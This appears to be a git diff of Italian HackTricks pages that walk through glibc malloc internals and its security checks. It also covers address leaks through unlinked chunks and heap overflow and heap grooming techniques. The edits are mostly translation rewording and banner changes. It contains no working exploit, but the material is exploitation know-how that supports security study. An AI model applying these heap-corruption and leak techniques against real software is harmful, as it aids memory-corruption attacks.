8. Se non trovi nulla nei bin precedenti, ottieni un chunk dal chunk superiore 8. Se non viene trovato nulla nei bin precedenti, ottieni un chunk dal chunk superiore
9. Se il chunk superiore non era abbastanza grande, ingrandiscilo con `sysmalloc` 9. Se il chunk superiore non era abbastanza grande, ingrandiscilo con `sysmalloc`
## \_\_libc\_malloc <a href="#libc_malloc" id="libc_malloc"></a> ## \_\_libc\_malloc <a href="#libc_malloc" id="libc_malloc"></a>
La funzione `malloc` in realtà chiama `__libc_malloc`. Questa funzione controlla la tcache per vedere se c'è un chunk disponibile della dimensione desiderata. Se c'è lo userà e se non c'è controllerà se è un singolo thread e in tal caso chiamerà `_int_malloc` nell'arena principale, altrimenti chiamerà `_int_malloc` nell'arena del thread. La funzione `malloc` effettivamente chiama `__libc_malloc`. Questa funzione controlla la tcache per vedere se c'è un chunk disponibile della dimensione desiderata. Se c'è, lo userà e se non c'è, verificherà se è un singolo thread e in tal caso chiamerà `_int_malloc` nell'arena principale e, se non lo è, chiamerà `_int_malloc` nell'arena del thread.
<details> <details>
@ -114,7 +115,7 @@ return victim;
``` ```
</details> </details>
Nota come esso etichetterà sempre il puntatore restituito con `tag_new_usable`, dal codice: Nota come etichetterà sempre il puntatore restituito con `tag_new_usable`, dal codice:
```c ```c
void *tag_new_usable (void *ptr) void *tag_new_usable (void *ptr)
@ -202,15 +203,15 @@ return p;
### Fast Bin ### Fast Bin
Se la dimensione necessaria è all'interno delle dimensioni dei Fast Bin, prova a utilizzare un chunk dal fast bin. Fondamentalmente, in base alla dimensione, troverà l'indice del fast bin dove dovrebbero trovarsi i chunk validi e, se ce ne sono, restituirà uno di quelli.\ Se la dimensione necessaria è all'interno delle dimensioni dei Fast Bins, prova a utilizzare un chunk dal fast bin. Fondamentalmente, in base alla dimensione, troverà l'indice del fast bin in cui dovrebbero trovarsi i chunk validi e, se ce ne sono, restituirà uno di quelli.\
Inoltre, se il tcache è abilitato, **riempirà il tcache bin di quella dimensione con i fast bin**. Inoltre, se la tcache è abilitata, **riempirà il tcache bin di quella dimensione con i fast bin**.
Durante l'esecuzione di queste azioni, vengono eseguiti alcuni controlli di sicurezza qui: Durante l'esecuzione di queste azioni, vengono eseguiti alcuni controlli di sicurezza qui:
* Se il chunk non è allineato: `malloc(): rilevato chunk fastbin non allineato 2` * Se il chunk non è allineato: `malloc(): rilevato chunk fastbin non allineato 2`
* Se il chunk successivo non è allineato: `malloc(): rilevato chunk fastbin non allineato` * Se il chunk successivo non è allineato: `malloc(): rilevato chunk fastbin non allineato`
* Se il chunk restituito ha una dimensione non corretta a causa del suo indice nel fast bin: `malloc(): corruzione della memoria (fast)` * Se il chunk restituito ha una dimensione non corretta a causa del suo indice nel fast bin: `malloc(): corruzione della memoria (fast)`
* Se un qualsiasi chunk utilizzato per riempire il tcache non è allineato: `malloc(): rilevato chunk fastbin non allineato 3` * Se un qualsiasi chunk utilizzato per riempire la tcache non è allineato: `malloc(): rilevato chunk fastbin non allineato 3`
<details> <details>
@ -297,7 +298,7 @@ return p;
Come indicato in un commento, i small bin contengono una dimensione per indice, pertanto controllare se è disponibile un chunk valido è estremamente veloce, quindi dopo i fast bin, vengono controllati i small bin. Come indicato in un commento, i small bin contengono una dimensione per indice, pertanto controllare se è disponibile un chunk valido è estremamente veloce, quindi dopo i fast bin, vengono controllati i small bin.
Il primo controllo consiste nel verificare se la dimensione richiesta potrebbe trovarsi all'interno di un small bin. In tal caso, ottenere l'**indice** corrispondente all'interno del small bin e verificare se c'è **qualsiasi chunk disponibile**. Il primo controllo consiste nel verificare se la dimensione richiesta potrebbe trovarsi all'interno di un small bin. In tal caso, ottenere l'**indice** corrispondente all'interno del small bin e verificare se c'è **un chunk disponibile**.
Successivamente, viene eseguito un controllo di sicurezza per verificare: Successivamente, viene eseguito un controllo di sicurezza per verificare:
@ -374,7 +375,7 @@ return p;
### malloc\_consolidate ### malloc\_consolidate
Se non si trattava di un piccolo chunk, si tratta di un grande chunk e, in questo caso, viene chiamato **`malloc_consolidate`** per evitare frammentazione della memoria. Se non si trattava di un piccolo chunk, si tratta di un grande chunk e, in questo caso, viene chiamato **`malloc_consolidate`** per evitare la frammentazione della memoria.
<details> <details>
@ -401,19 +402,19 @@ malloc_consolidate (av);
``` ```
</details> </details>
La funzione di consolidamento malloc fondamentalmente rimuove i chunk dal fast bin e li colloca nell'unsorted bin. Dopo il prossimo malloc, questi chunk verranno organizzati nei rispettivi small/fast bin. La funzione di consolidamento malloc rimuove essenzialmente i chunk dal fast bin e li colloca nell'unsorted bin. Dopo il prossimo malloc, questi chunk verranno organizzati nei rispettivi small/fast bin.
Si noti che durante la rimozione di questi chunk, se vengono trovati chunk precedenti o successivi che non sono in uso, verranno **scollegati e uniti** prima di collocare il chunk finale nell'unsorted bin. Si noti che durante la rimozione di questi chunk, se vengono trovati chunk precedenti o successivi che non sono in uso, verranno **scollegati e uniti** prima di collocare il chunk finale nell'unsorted bin.
Per ogni chunk del fast bin vengono eseguiti un paio di controlli di sicurezza: Per ogni chunk del fast bin vengono eseguiti un paio di controlli di sicurezza:
* Se il chunk non è allineato, scatenare: `malloc_consolidate(): unaligned fastbin chunk detected` * Se il chunk non è allineato, scatenare: `malloc_consolidate(): rilevato chunk fastbin non allineato`
* Se il chunk ha una dimensione diversa da quella che dovrebbe avere a causa dell'indice in cui si trova: `malloc_consolidate(): invalid chunk size` * Se il chunk ha una dimensione diversa da quella che dovrebbe avere a causa dell'indice in cui si trova: `malloc_consolidate(): dimensione del chunk non valida`
* Se il chunk precedente non è in uso e ha una dimensione diversa da quella indicata da `prev_chunk`: `corrupted size vs. prev_size in fastbins` * Se il chunk precedente non è in uso e ha una dimensione diversa da quella indicata da `prev_chunk`: `dimensione corrotta rispetto a prev_size in fastbins`
<details> <details>
<summary>Funzione malloc_consolidate</summary> <summary>funzione malloc_consolidate</summary>
```c ```c
// https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2 // https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2
@ -518,24 +519,24 @@ av->top = p;
### Unsorted bin ### Unsorted bin
È il momento di controllare l'unsorted bin per individuare un possibile chunk valido da utilizzare. È il momento di controllare il bin non ordinato per individuare un possibile chunk valido da utilizzare.
#### Inizio #### Inizio
Questo inizia con un grande ciclo che attraverserà l'unsorted bin nella direzione `bk` fino ad arrivare alla fine (la struttura dell'arena) con `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`&#x20; Questo inizia con un grande ciclo che attraverserà il bin non ordinato nella direzione `bk` fino a quando non arriva alla fine (la struttura dell'arena) con `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`&#x20;
Inoltre, vengono eseguiti alcuni controlli di sicurezza ogni volta che viene considerato un nuovo chunk: Inoltre, vengono eseguiti alcuni controlli di sicurezza ogni volta che viene considerato un nuovo chunk:
* Se la dimensione del chunk è strana (troppo piccola o troppo grande): `malloc(): dimensione non valida (unsorted)` * Se le dimensioni del chunk sono strane (troppo piccole o troppo grandi): `malloc(): dimensione non valida (non ordinato)`
* Se la dimensione del chunk successivo è strana (troppo piccola o troppo grande): `malloc(): dimensione successiva non valida (unsorted)` * Se le dimensioni del chunk successivo sono strane (troppo piccole o troppo grandi): `malloc(): dimensione successiva non valida (non ordinato)`
* Se la dimensione precedente indicata dal chunk successivo differisce dalla dimensione del chunk: `malloc(): dimensioni non corrispondenti next->prev_size (unsorted)` * Se le dimensioni precedenti indicate dal chunk successivo differiscono dalle dimensioni del chunk: `malloc(): dimensioni next->prev non corrispondenti (non ordinato)`
* Se non `victim->bck->fd == victim` o non `victim->fd == av` (arena): `malloc(): lista doppiamente concatenata unsorted corrotta` * Se non `victim->bck->fd == victim` o non `victim->fd == av` (arena): `malloc(): lista doppiamente collegata non ordinata corrotta`
* Poiché stiamo sempre controllando l'ultimo, il suo `fd` dovrebbe puntare sempre alla struttura dell'arena. * Poiché stiamo sempre controllando l'ultimo, il suo `fd` dovrebbe puntare sempre alla struttura dell'arena.
* Se il chunk successivo non indica che il precedente è in uso: `malloc(): next->prev_inuse non valido (unsorted)` * Se il chunk successivo non indica che il precedente è in uso: `malloc(): next->prev_inuse non valido (non ordinato)`
<details> <details>
<summary><code>_int_malloc</code> inizio unsorted bin</summary> <summary><code>_int_malloc</code> inizio bin non ordinato</summary>
```c ```c
/* /*
Process recently freed or remaindered chunks, taking one only if Process recently freed or remaindered chunks, taking one only if
@ -694,8 +695,8 @@ Memorizzare il chunk controllato nel bin piccolo o nel bin grande in base alla d
Vengono eseguiti controlli di sicurezza per assicurarsi che entrambe le liste doppiamente collegate del bin grande non siano corrotte: Vengono eseguiti controlli di sicurezza per assicurarsi che entrambe le liste doppiamente collegate del bin grande non siano corrotte:
* Se `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): lista doppiamente collegata del largebin corrotta (nextsize)` * Se `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): lista doppiamente collegata del bin grande corrotta (nextsize)`
* Se `fwd->bk->fd != fwd`: `malloc(): lista doppiamente collegata del largebin corrotta (bk)` * Se `fwd->bk->fd != fwd`: `malloc(): lista doppiamente collegata del bin grande corrotta (bk)`
<details> <details>
@ -769,19 +770,15 @@ victim->fd = fwd;
fwd->bk = victim; fwd->bk = victim;
bck->fd = victim; bck->fd = victim;
``` ```
</details>
#### Limiti di `_int_malloc` #### Limiti di `_int_malloc`
A questo punto, se qualche blocco era memorizzato nella tcache che può essere utilizzato e il limite è stato raggiunto, basta **restituire un blocco della tcache**. A questo punto, se qualche blocco è stato memorizzato nella tcache che può essere utilizzato e il limite è stato raggiunto, basta **restituire un blocco tcache**.
Inoltre, se **MAX\_ITERS** è stato raggiunto, interrompere il ciclo e ottenere un blocco in modo diverso (blocco superiore). Inoltre, se viene raggiunto **MAX\_ITERS**, interrompere il ciclo e ottenere un blocco in modo diverso (blocco superiore).
Se `return_cached` era impostato, restituire semplicemente un blocco dalla tcache per evitare ricerche più ampie. Se `return_cached` è impostato, restituire semplicemente un blocco dalla tcache per evitare ricerche più ampie.
<details> </details>
<summary><code>_int_malloc</code> limiti</summary>
```c ```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7 // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7
@ -903,11 +900,11 @@ Se non viene trovato un chunk adatto per questo, continuare
### Large Bin (successivo più grande) ### Large Bin (successivo più grande)
Se nella large bin esatta non c'era nessun chunk che potesse essere utilizzato, iniziare a scorrere tutti i successivi large bin (a partire dal successivo più grande) fino a quando ne viene trovato uno (se presente). Se nella large bin esatta non c'era alcun chunk che potesse essere utilizzato, iniziare a scorrere tutti i successivi large bin (a partire dal successivo più grande) fino a quando ne viene trovato uno (se presente).
Il resto del chunk diviso viene aggiunto nella unsorted bin, last\_reminder viene aggiornato e viene eseguito lo stesso controllo di sicurezza: Il resto del chunk diviso viene aggiunto nella unsorted bin, last\_reminder viene aggiornato e viene eseguito lo stesso controllo di sicurezza:
* `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2` * `bck->fd-> bk != bck`: `malloc(): chunk unsorted corrotti2`
<details> <details>
@ -1034,8 +1031,8 @@ Inizia con un controllo di sicurezza per assicurarsi che la dimensione del chunk
* `chunksize(av->top) > av->system_mem`: `malloc(): dimensione top corrotta` * `chunksize(av->top) > av->system_mem`: `malloc(): dimensione top corrotta`
Successivamente, verrà utilizzato lo spazio del top chunk se è abbastanza grande per creare un chunk della dimensione richiesta.\ Successivamente, verrà utilizzato lo spazio del top chunk se è abbastanza grande per creare un chunk della dimensione richiesta.\
Se non è così, se ci sono chunk veloci, consolidarli e riprovare.\ Se non è abbastanza grande, se ci sono chunk veloci, consolidarli e riprovare.\
Infine, se lo spazio non è sufficiente, utilizzare `sysmalloc` per allocare una dimensione sufficiente. Infine, se non c'è abbastanza spazio, utilizzare `sysmalloc` per allocare la dimensione sufficiente.
<details> <details>
@ -1104,13 +1101,11 @@ return p;
} }
``` ```
</details> ### sysmalloc
## sysmalloc
### Inizio di sysmalloc ### Inizio di sysmalloc
Se l'arena è nulla o la dimensione richiesta è troppo grande (e sono consentiti mmaps rimasti) utilizzare `sysmalloc_mmap` per allocare spazio e restituirlo. Se l'arena è nulla o la dimensione richiesta è troppo grande (e sono consentiti mmaps rimasti), utilizzare `sysmalloc_mmap` per allocare spazio e restituirlo.
```c ```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531
@ -1220,7 +1215,7 @@ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
### sysmalloc non arena principale ### sysmalloc non arena principale
Innanzitutto cercherà di **estendere** l'heap precedente per questo heap. Se non è possibile, cercherà di **allocare un nuovo heap** e aggiornare i puntatori per poterlo utilizzare.\ Prima cercherà di **estendere** l'heap precedente per questo heap. Se non è possibile, cercherà di **allocare un nuovo heap** e aggiornare i puntatori per poterlo utilizzare.\
Infine, se ciò non funziona, prova a chiamare **`sysmalloc_mmap`**.&#x20; Infine, se ciò non funziona, prova a chiamare **`sysmalloc_mmap`**.&#x20;
<details> <details>
@ -1695,16 +1690,17 @@ return chunk2mem (p);
``` ```
</details> </details>
{% hint style="success" %}
**Impara e pratica l'hacking su AWS:** [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
**Impara e pratica l'hacking su GCP:** [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) nei repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# unlink # unlink
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}
### Codice ### Codice
```c ```c
@ -80,26 +81,12 @@ Un chunk unlinkato non pulisce gli indirizzi allocati, quindi avendo accesso a l
Leak di Libc: Leak di Libc:
* Se P si trova all'inizio della lista doppiamente collegata, `bk` punterà a `malloc_state` in libc * Se P è situato all'inizio della lista doppiamente concatenata, `bk` punterà a `malloc_state` in libc
* Se P si trova alla fine della lista doppiamente collegata, `fd` punterà a `malloc_state` in libc * Se P è situato alla fine della lista doppiamente concatenata, `fd` punterà a `malloc_state` in libc
* Quando la lista doppiamente collegata contiene solo un chunk libero, P è nella lista doppiamente collegata e sia `fd` che `bk` possono fare leak dell'indirizzo all'interno di `malloc_state`. * Quando la lista doppiamente concatenata contiene solo un chunk libero, P è nella lista doppiamente concatenata, e sia `fd` che `bk` possono fare leak dell'indirizzo all'interno di `malloc_state`.
Leak di Heap: Leak di Heap:
* Se P si trova all'inizio della lista doppiamente collegata, `fd` punterà a un chunk disponibile nell'heap * Se P è situato all'inizio della lista doppiamente concatenata, `fd` punterà a un chunk disponibile nell'heap
* Se P si trova alla fine della lista doppiamente collegata, `bk` punterà a un chunk disponibile nell'heap * Se P è situato alla fine della lista doppiamente concatenata, `bk` punterà a un chunk disponibile nell'heap
* Se P è nella lista doppiamente collegata, sia `fd` che `bk` punteranno a un chunk disponibile nell'heap * Se P è nella lista doppiamente concatenata, sia `fd` che `bk` punteranno a un chunk disponibile nell'heap
<details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>

View file

@ -1,46 +1,47 @@
# Heap Overflow # Heap Overflow
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
Un heap overflow è simile a un [**stack overflow**](../stack-overflow/) ma nell'heap. Fondamentalmente significa che è stato riservato dello spazio nell'heap per memorizzare alcuni dati e che i **dati memorizzati erano più grandi dello spazio riservato**. Un heap overflow è simile a un [**stack overflow**](../stack-overflow/) ma nell'heap. Fondamentalmente significa che è stato riservato dello spazio nell'heap per memorizzare alcuni dati e che **i dati memorizzati erano più grandi dello spazio riservato**.
Nei stack overflows sappiamo che alcuni registri come il puntatore di istruzione o il frame dello stack verranno ripristinati dallo stack e potrebbe essere possibile abusarne. Nel caso degli heap overflows, **non c'è alcuna informazione sensibile memorizzata per impostazione predefinita** nel chunk dell'heap che può essere sovraffollato. Tuttavia, potrebbero esserci informazioni sensibili o puntatori, quindi la **criticità** di questa vulnerabilità **dipende** da **quali dati potrebbero essere sovrascritti** e da come un attaccante potrebbe abusarne. Nei stack overflows sappiamo che alcuni registri come il puntatore di istruzione o il frame dello stack verranno ripristinati dallo stack e potrebbe essere possibile abusarne. Nel caso degli heap overflows, **non vi è alcuna informazione sensibile memorizzata per impostazione predefinita** nel chunk dell'heap che può essere sovraffollato. Tuttavia, potrebbero esserci informazioni sensibili o puntatori, quindi la **criticità** di questa vulnerabilità **dipende** da **quali dati potrebbero essere sovrascritti** e da come un attaccante potrebbe abusarne.
{% hint style="success" %} {% hint style="success" %}
Per trovare gli offset di overflow puoi utilizzare gli stessi schemi dei [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). Per trovare gli offset degli overflow è possibile utilizzare gli stessi schemi dei [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
{% endhint %} {% endhint %}
### Stack Overflows vs Heap Overflows ### Stack Overflows vs Heap Overflows
Nei stack overflows l'organizzazione e i dati che saranno presenti nello stack nel momento in cui la vulnerabilità può essere attivata sono piuttosto affidabili. Questo perché lo stack è lineare, aumenta sempre in memoria in collisione, in **specifici punti dell'esecuzione del programma la memoria dello stack di solito memorizza tipi di dati simili** e ha una struttura specifica con alcuni puntatori alla fine della parte dello stack utilizzata da ciascuna funzione. Nei stack overflows, l'organizzazione e i dati che saranno presenti nello stack nel momento in cui la vulnerabilità può essere attivata sono piuttosto affidabili. Ciò è dovuto al fatto che lo stack è lineare, aumenta sempre in memoria in collisione, in **specifici punti dell'esecuzione del programma la memoria dello stack di solito memorizza tipi di dati simili** e ha una struttura specifica con alcuni puntatori alla fine della parte dello stack utilizzata da ciascuna funzione.
Tuttavia, nel caso di un heap overflow, la memoria utilizzata non è lineare ma **i chunk allocati sono di solito in posizioni separate della memoria** (non uno accanto all'altro) a causa di **bin e zone** che separano le allocazioni per dimensione e perché **la memoria precedentemente liberata viene utilizzata** prima di allocare nuovi chunk. È **complicato sapere quale oggetto andrà a collidere con quello vulnerabile** a un heap overflow. Quindi, quando viene trovato un heap overflow, è necessario trovare un **modo affidabile per far sì che l'oggetto desiderato sia il successivo in memoria** rispetto a quello che può essere sovraffollato. Tuttavia, nel caso di un heap overflow, la memoria utilizzata non è lineare ma **i chunk allocati sono di solito in posizioni separate della memoria** (non uno accanto all'altro) a causa di **bin e zone** che separano le allocazioni per dimensione e perché **la memoria precedentemente liberata viene utilizzata** prima di allocare nuovi chunk. È **complicato sapere quale oggetto andrà in collisione con quello vulnerabile** a un heap overflow. Quindi, quando viene trovato un heap overflow, è necessario trovare un **modo affidabile per far sì che l'oggetto desiderato sia il successivo in memoria** rispetto a quello che può essere sovraffollato.
Una delle tecniche utilizzate per questo è il **Heap Grooming** che viene utilizzato ad esempio [**in questo post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Nel post viene spiegato come nel kernel iOS quando una zona esaurisce la memoria per memorizzare chunk di memoria, la espande di una pagina del kernel, e questa pagina viene divisa in chunk delle dimensioni previste che verranno utilizzati in ordine (fino alla versione iOS 9.2, poi questi chunk vengono utilizzati in modo randomizzato per rendere più difficile lo sfruttamento di questi attacchi). Una delle tecniche utilizzate per questo è il **Heap Grooming** che viene utilizzato ad esempio [**in questo post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Nel post viene spiegato come nel kernel iOS quando una zona esaurisce la memoria per memorizzare chunk di memoria, la espande di una pagina del kernel, e questa pagina viene divisa in chunk delle dimensioni previste che verranno utilizzati in ordine (fino alla versione iOS 9.2, poi questi chunk vengono utilizzati in modo randomizzato per rendere più difficile lo sfruttamento di questi attacchi).
Pertanto, nel post precedente in cui si verifica un heap overflow, per forzare l'oggetto sovraccaricato a collidere con un ordine vittima, diversi **`kallocs` sono forzati da diversi thread per cercare di garantire che tutti i chunk liberi siano riempiti e che venga creata una nuova pagina**. Pertanto, nel post precedente in cui si verifica un heap overflow, per forzare l'oggetto sovraccaricato a collidere con un ordine vittima, diversi **`kallocs` sono forzati da diversi thread per cercare di garantire che tutti i chunk liberi siano riempiti e che venga creato una nuova pagina**.
Per forzare questo riempimento con oggetti di una dimensione specifica, l'**allocazione fuori linea associata a una porta mach iOS** è un candidato ideale. Creando la dimensione del messaggio, è possibile specificare esattamente la dimensione dell'allocazione `kalloc` e quando la porta mach corrispondente viene distrutta, l'allocazione corrispondente verrà immediatamente rilasciata a `kfree`. Per forzare questo riempimento con oggetti di una dimensione specifica, l'**allocazione fuori linea associata a una porta mach iOS** è un candidato ideale. Creando la dimensione del messaggio, è possibile specificare esattamente la dimensione dell'allocazione `kalloc` e quando la porta mach corrispondente viene distrutta, l'allocazione corrispondente verrà immediatamente rilasciata a `kfree`.
Quindi, alcuni di questi segnaposto possono essere **liberati**. La lista di liberazione **`kalloc.4096` rilascia gli elementi in ordine di ultimo-in-primo-uscito**, il che significa fondamentalmente che se alcuni segnaposto vengono liberati e l'exploit prova a allocare diversi oggetti vittima mentre cerca di allocare l'oggetto vulnerabile all'overflow, è probabile che questo oggetto sarà seguito da un oggetto vittima. Quindi, alcuni di questi segnaposto possono essere **liberati**. La lista di liberazione **`kalloc.4096` rilascia gli elementi in ordine di ultimo entrato, primo uscito**, il che significa fondamentalmente che se alcuni segnaposto vengono liberati e l'exploit prova a allocare diversi oggetti vittime mentre cerca di allocare l'oggetto vulnerabile all'overflow, è probabile che questo oggetto sarà seguito da un oggetto vittima.
### Esempio libc ### Esempio libc
[**In questa pagina**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) è possibile trovare un'emulazione di base di Heap overflow che mostra come sovrascrivendo il bit prev in uso del chunk successivo e la posizione della dimensione prev sia possibile **consolidare un chunk utilizzato** (facendogli credere che non sia in uso) e **poi allocarlo nuovamente** potendo sovrascrivere dati che vengono utilizzati in un diverso puntatore. [**In questa pagina**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) è possibile trovare un'emulazione di base di un Heap overflow che mostra come sovrascrivendo il bit prev in uso del chunk successivo e la posizione della dimensione prev sia possibile **consolidare un chunk utilizzato** (facendogli credere che non sia in uso) e **poi allocarlo nuovamente** potendo sovrascrivere dati che vengono utilizzati in un diverso puntatore.
